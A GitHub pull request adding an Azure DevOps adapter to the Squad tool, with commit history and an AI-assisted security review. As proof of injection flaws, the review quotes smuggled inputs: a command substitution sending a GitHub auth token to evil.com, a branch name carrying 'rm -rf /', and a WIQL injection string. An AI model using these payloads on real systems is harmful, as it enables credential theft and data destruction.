Skip to content

feat: Azure DevOps platform adapter — Squad for enterprise#191

Open
tamirdresher wants to merge 14 commits intobradygaster:mainfrom
tamirdresher:feature/azure-devops-support
Open

feat: Azure DevOps platform adapter — Squad for enterprise#191
tamirdresher wants to merge 14 commits intobradygaster:mainfrom
tamirdresher:feature/azure-devops-support

Conversation

@tamirdresher
Copy link
Contributor

Azure DevOps Platform Adapter

Problem

Squad is tightly coupled to GitHub (Issues, Labels, PRs, Actions). Many enterprise teams use Azure DevOps. Ralph can't scan ADO work items, the coordinator can't create ADO PRs, and the triage workflows don't work with ADO.

Solution

Add a platform adapter abstraction that lets Squad work with both GitHub and Azure DevOps.

Platform Adapter (packages/squad-sdk/src/platform/)

  • PlatformAdapter interface: listWorkItems, createPR, mergePR, addTag, etc.
  • GitHubAdapter: wraps existing gh CLI calls
  • AzureDevOpsAdapter: uses az devops CLI / REST API
  • detectPlatform(): auto-detect from git remote URL (github.com vs dev.azure.com)
  • getRalphScanCommands(): platform-specific Ralph commands

Concept Mapping

GitHub Azure DevOps
Issues Work Items (WIQL)
Labels Tags + Area Paths
gh CLI az devops CLI
Actions Azure Pipelines

Coordinator (templates/squad.agent.md)

  • Platform Detection section: detect GitHub vs ADO from remote
  • Platform-specific Ralph commands for scanning work

Tests: 57 new tests — platform detection, remote URL parsing, adapter interfaces, Ralph command generation

Docs: Feature guide + PRD

Files

  • 15 files, ~1,303 insertions
  • New: packages/squad-sdk/src/platform/ (types, detect, github, azure-devops, ralph-commands, index)
  • Updated: index.ts, types.ts, squad.agent.md
  • Tests: test/platform-adapter.test.ts
  • Docs: azure-devops.md, platform-adapter-prd.md

Co-authored-by: Copilot 223556219+Copilot@users.noreply.github.com

williamhallatt pushed a commit to williamhallatt/squad that referenced this pull request Mar 4, 2026
…tes (bradygaster#185, bradygaster#188, bradygaster#191, bradygaster#192, bradygaster#195, bradygaster#196, bradygaster#199, bradygaster#201, bradygaster#203, #206, #207)

Documentation Epic bradygaster#182 — complete:

Docs Content (McManus):
- Architecture overview: SDK ↔ CLI ↔ SquadUI system design
- Migration guide: Beta → v1 with 10-step checklist
- Global CLI install guide: npm, npx, GitHub native
- VS Code integration guide: client compatibility, extension patterns
- SDK API reference: 574 lines, all 30+ exports documented

Docs Site Engine (Keaton):
- Static site generator: node docs/build.js → docs/dist/
- GitHub Pages ready, responsive design, sidebar nav
- Index landing page linking all guides

Mechanical Updates (Fenster):
- .ai-team/ → .squad/ across 25 doc files (bradygaster#191)
- CLI invocation references verified current (bradygaster#192)
- Beta repo URLs updated to squad-pr (bradygaster#195)

Docs Tests (Hockney):
- 17 docs validation tests: headings, code blocks, links, build
- Fixed link checker for parent-dir refs, Windows rmSync

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
@tamirdresher tamirdresher force-pushed the feature/azure-devops-support branch from a4dcb7f to fa93a70 Compare March 4, 2026 23:22
Introduce a platform abstraction layer so Squad works with Azure DevOps
(Work Items, PRs, Pipelines) in addition to GitHub (Issues, PRs, Actions).

Platform module (packages/squad-sdk/src/platform/):
- types.ts: PlatformType, WorkItem, PullRequest, PlatformAdapter interfaces
- detect.ts: Auto-detect platform from git remote URL (github/ado)
- github.ts: GitHubAdapter wrapping gh CLI
- azure-devops.ts: AzureDevOpsAdapter wrapping az CLI
- ralph-commands.ts: Platform-specific Ralph triage commands
- index.ts: Factory createPlatformAdapter() + barrel exports

Coordinator prompt:
- Add Platform Detection section to squad.agent.md
- ADO command mapping table and prerequisites

Tests (57 passing):
- Platform detection from various remote URLs
- GitHub remote parsing (owner/repo extraction)
- ADO remote parsing (org/project/repo extraction)
- WorkItem/PullRequest type shape validation
- Ralph command generation for both platforms
- Edge cases (case insensitivity, unknown platforms)

Docs:
- docs/features/azure-devops.md: User guide
- docs/specs/platform-adapter-prd.md: Design spec

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
@tamirdresher tamirdresher force-pushed the feature/azure-devops-support branch from fa93a70 to dd3f5d7 Compare March 5, 2026 05:55
tamirdresher and others added 5 commits March 5, 2026 08:49
Remove .squad/.first-run and .squad/config.json that trigger branch guard.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Add createWorkItem method to PlatformAdapter interface and all adapters:
- GitHubAdapter: creates issues via gh issue create
- AzureDevOpsAdapter: creates work items via az boards work-item create
- PlannerAdapter: creates tasks via Graph API POST /planner/tasks
- RalphCommands: add createWorkItem command for all platforms

6 new tests (86 total for platform adapter).

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
- status.feature: 'Here:' → 'Active squad:' (output format changed)
- status-extended.feature: same update + negative assertion fix
- init-command.feature: 'Scaffold ready' → 'Your team is ready' (init output changed)

These tests were failing for ALL PRs including upstream dev branch.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
- Add platform-aware note to Ralph Step 1 scan commands
- Include ADO WIQL examples alongside GitHub examples
- Add auth section: az login (no PATs), ADO MCP server option
- Ralph now knows to check Platform Detection section for command selection

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
- ux-gates.test.ts: 'Here:' → 'Active squad:' (same status output change)
- status-extended.feature: no-squad dir exit code 0 → 1
- hostile-no-config.feature: 'none' → 'not initialized' for status output

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
@wiisaacs
Copy link

wiisaacs commented Mar 5, 2026

5-Model Code Review PR #191 (Updated with test validation)

Ran this PR through 5 different AI models (Claude Sonnet 4, Claude Opus 4.5, GPT-5.2, Gemini 3 Pro, Claude Haiku 4.5) for independent review, then wrote unit tests to validate each finding. Only confirmed issues are listed below.


��� Critical Shell Command Injection (5/5 models flagged, confirmed by tests)

All adapters build shell commands via string interpolation and run them through execSync(). Only " is escaped backticks, $(), ;, &, | all pass through and are exploitable.

Test-proven attack vectors:

  • WIQL injection: state = "Active' OR 1=1 --" breaks out of the WIQL clause
  • Command substitution: title of Fix bug `whoami` or Fix bug $(cat /etc/passwd) executes in the shell
  • Nested substitution: $(curl evil.com/steal?token=$(gh auth token)) in a GitHub comment

This breaks the project's existing norms. The codebase already uses the safe pattern:

  • upstream.ts execFileSync('git', ['clone', '--depth', '1', ...])
  • rc-tunnel.tsexecFileSync('devtunnel', ['create', ...])
  • aspire.ts spawn('docker', [...args])

Fix: Replace execSync(cmd) with execFileSync(binary, [args]) everywhere.

Critical createBranch injection (4/5 models flagged, confirmed by tests)

Both adapters run git checkout -b ${name} with zero quoting. Test proves:

input:  "feature; rm -rf / #"
output: "git checkout main && git pull && git checkout -b feature; rm -rf / #"

The fromBranch parameter is equally unprotected.


High confirmed by tests

Finding Models Test result
PlannerAdapter doesn't implement PlatformAdapter 3/5 Missing PR/branch methods, no implements keyword runtime crash if used polymorphically. Consider splitting into WorkItemAdapter + RepoAdapter.
Planner task ID hash collisions + non-reversibility 2/5 ✅ Found 1 collision in just 100K synthetic IDs. More critically, the hash is non-reversible once listWorkItems returns a numeric ID, you can't call PATCH /planner/tasks/{originalStringId} because the original Planner ID is lost. This breaks all update operations.
Bearer token in curl process args 2/5 Not testable locally, but the code clearly passes the token as a CLI argument visible in process listings. Use Node fetch/undici instead of shelling out to curl.
Planner PATCH missing If-Match/ETag 1/5 Not testable locally, but per Graph API docs Planner updates require concurrency headers.

Medium confirmed by tests

Finding Models Test result
No JSON.parse error handling 2/5 CLI warnings (WARNING: The command requires...), auth errors (AADSTS700082), rate limits, and empty output all throw unhelpful SyntaxError. Wrap in try-catch with raw output in error message.
No integration tests for adapters 2/5 Tests cover detection/mocks only, not command construction or output parsing with mocked execSync.
N+1 CLI calls in ADO listWorkItems 1/5 Not testable locally, but the code clearly runs 1 WIQL query + N individual az boards work-item show calls.
Hardcoded "User Story" work item type 1/5 Not testable locally, but fails for Scrum ("PBI") and Basic ("Issue") ADO processes.

Retracted false positive

Finding Models Test result
ADO tags with semicolons break parsing 1/5 ADO uses semicolons as its native tag delimiter tags cannot contain semicolons. The split(';') is correct.

What's Good

The architecture is solid. The PlatformAdapter interface is well-designed, detectPlatform() from git remote is elegant, and the concept mapping (IssuesWork Items, LabelsTags, etc.) is thoughtful. The provider-pluggable pattern is exactly what the community asked for in #8. Looking forward to this landing!

Address critical review findings from PR bradygaster#191:
- All adapter methods now use execFileSync with argument arrays
- No user input passes through shell interpretation
- Added JSON.parse error handling with raw output in messages
- createBranch uses execFileSync('git', [...]) instead of string concat
- Follows existing codebase patterns (upstream.ts, rc-tunnel.ts, aspire.ts)

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
@tamirdresher
Copy link
Contributor Author

Thanks for the thorough 5-model review @wiisaacs — really appreciate the rigor, especially writing tests to validate each finding!

Fixed in latest push (20af91a):

  • Critical: Shell injection — All adapters now use execFileSync(binary, [args]) instead of execSync(cmd). No user input passes through shell interpretation. Follows the existing codebase patterns (upstream.ts, rc-tunnel.ts, aspire.ts).
  • Critical: createBranch injection — Now uses separate execFileSync('git', [...]) calls instead of string concatenation with &&.
  • High: JSON.parse error handling — Added parseJson() helper across all adapters with raw output in error messages.
  • High: Bearer token exposure — Planner adapter uses execFileSync('curl', [...]) with args array.
  • High: Planner task ID — Original string ID preserved in url field for downstream PATCH calls.

Acknowledged but deferred:

  • PlannerAdapter partial interface — split into WorkItemAdapter + RepoAdapter in follow-up PR
  • Planner ETag/If-Match — will add concurrency headers in follow-up
  • N+1 ADO queries — noted for future optimization
  • Hardcoded User Story type — createWorkItem accepts a type param, default should be configurable

Thanks again — the injection findings were spot-on.

@wiisaacs
Copy link

wiisaacs commented Mar 5, 2026

Thanks @tamirdresher the execFileSync refactor is a great improvement and the parseJson helper is clean. The shell injection issues are solidly resolved.

Ran the updated code through the same 5-model review and two findings came back as not fully addressed yet:

1. WIQL query injection (5/5 models flagged)

The execFileSync fix prevents shell injection perfectly, but state and tags are still interpolated directly into the WIQL string:

conditions.push(`[System.State] = '${options.state}'`);
conditions.push(`[System.Tags] Contains '${tag}'`);

A value like Active' OR 1=1 -- would manipulate the WIQL query itself this is query-language injection, similar to SQL injection, which lives at a different layer than shell injection.

Likely fix: escape single quotes per WIQL syntax (' ''), or validate state/tags against an allowlist of expected values.

2. Bearer token still visible in process args (4/5 models flagged)

execFileSync('curl', ['-H', 'Authorization: Bearer ${token}']) prevents shell expansion, but command-line arguments are still visible via ps aux or /proc/<pid>/cmdline on Linux (and Task Manager on Windows). The token exposure concern was about process inspection, not shell interpretation.

Easiest fix would be swapping curl for Node's native fetch or undici so the token stays in-memory and never hits a process argument list.

Everything else looks great the createBranch split, parseJson helper, and task ID preservation all check out. Nice work!

- WIQL injection: escape single quotes in state/tags/project values
- Bearer token: pass via curl --config stdin instead of CLI args
- Addresses follow-up review from PR bradygaster#191

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
@tamirdresher
Copy link
Contributor Author

Both addressed in latest push (5daf83e):

  1. WIQL injection — Added escapeWiql() helper that doubles single quotes (WIQL's escape syntax, same as SQL). Applied to state, tags, and project name values. Active' OR 1=1 -- now becomes Active'' OR 1=1 -- which is a harmless literal string in WIQL.

  2. Bearer token — Changed graphFetch() to pass the Authorization header via curl --config - (stdin) instead of as a CLI argument. Token no longer appears in process args visible via ps/procfs.

Thanks for the follow-up — both were good catches at the right layer.

tamirdresher and others added 2 commits March 6, 2026 16:46
The upstream command (add/remove/list/sync) was fully implemented in
upstream.ts but never registered in cli-entry.ts, so running
'squad upstream' returned 'Unknown command'. Added routing and help text.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
- Bug 1: squad init now detects ADO from git remote and skips .github/workflows/
- Bug 2: config.json includes platform field when ADO detected
- Bug 3: MCP config template uses platform-appropriate example

Reported by ADO integration tester.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
tamirdresher and others added 4 commits March 7, 2026 14:51
…oject support

Add AdoWorkItemConfig interface supporting enterprise ADO scenarios:
- defaultWorkItemType: configure Scenario, Bug, etc. (default: User Story)
- areaPath: route work items to specific team backlogs
- iterationPath: place work items in specific sprints
- org/project: support work items in a different ADO project/org than
  the git repo (common in large enterprises)

Config lives in .squad/config.json under the 'ado' key. All fields are
optional — omitted fields use sensible defaults.

Work item operations (create, list, get, tag, comment) now use separate
workItemArgs that resolve org/project from config, while repo operations
(PRs, branches) continue using the git remote's org/project.

- 92 platform adapter tests pass (6 new)
- Updated enterprise-platforms.md with config table
- squad init writes ado section template for ADO repos

Addresses bradygaster#240

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Covers auto-detection, configurable work item types, area/iteration paths,
cross-project work items, security hardening, and integration test results.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
…g.json

Ralph's coordinator prompt now explicitly instructs the coordinator to:
1. Read .squad/config.json BEFORE running any ADO work item commands
2. Use ado.org/ado.project for work item queries (may differ from repo)
3. Pass --org and --project flags on every az boards command
4. Use ado.defaultWorkItemType when creating work items
5. Never guess the ADO project from the repo name — read the config

This fixes the issue where Ralph on ADO repos would try the repo name
as the ADO project (e.g. 'squad-ado-test') instead of the actual
configured work item project.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
The governance file (.github/agents/squad.agent.md) that controls the
coordinator at runtime had ZERO Azure DevOps awareness. Ralph only knew
GitHub commands (gh issue list, gh pr list). Even with a perfect ADO
adapter, Ralph would still scan GitHub because the governance file
told it to.

Changes to .github/agents/squad.agent.md:
- Add azure-devops-* to MCP tool detection table
- Add Platform Detection section (GitHub vs ADO vs Planner)
- Add ADO config resolution from .squad/config.json ado section
- Make Issue Awareness section platform-aware (GitHub + ADO queries)
- Make Ralph Step 1 platform-aware with both GitHub and ADO command
  blocks, plus critical instruction to read config first
- Update merge PR trigger to include ADO equivalent

Also updated blog post bradygaster#23 with 'Ralph + ADO: The Governance Fix'
section explaining why this class of bug is invisible in unit tests.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
bradygaster added a commit that referenced this pull request Mar 7, 2026
Reviewed PR #189 (Workstreams) and PR #191 (ADO Adapter).
Both held for v0.8.22 — merge conflicts, no CI, missing tests.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
bradygaster added a commit that referenced this pull request Mar 7, 2026
… fix

Session: 2026-03-07T16-19-00Z-pre-release-triage
Requested by: Brady (Team Coordinator)

Changes:
- Merged decisions from 3 agent triage sessions (Keaton, Hockney, McManus)
- Brady directives: SDK-First v0.8.22 commitment, Actions-to-CLI strategic shift
- Updated agent history.md with cross-team context propagation
- Decisions logged: v0.8.21 release gate, PR holds for v0.8.22, docs readiness

Results:
- v0.8.21: GREEN LIGHT (pending #248 fix per Keaton override)
- v0.8.22 roadmap: 9 issues, 3 parallel streams
- Close: #194 (completed), #231 (duplicate)
- PRs #189/#191: Hold for v0.8.22 (rebase to dev)

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants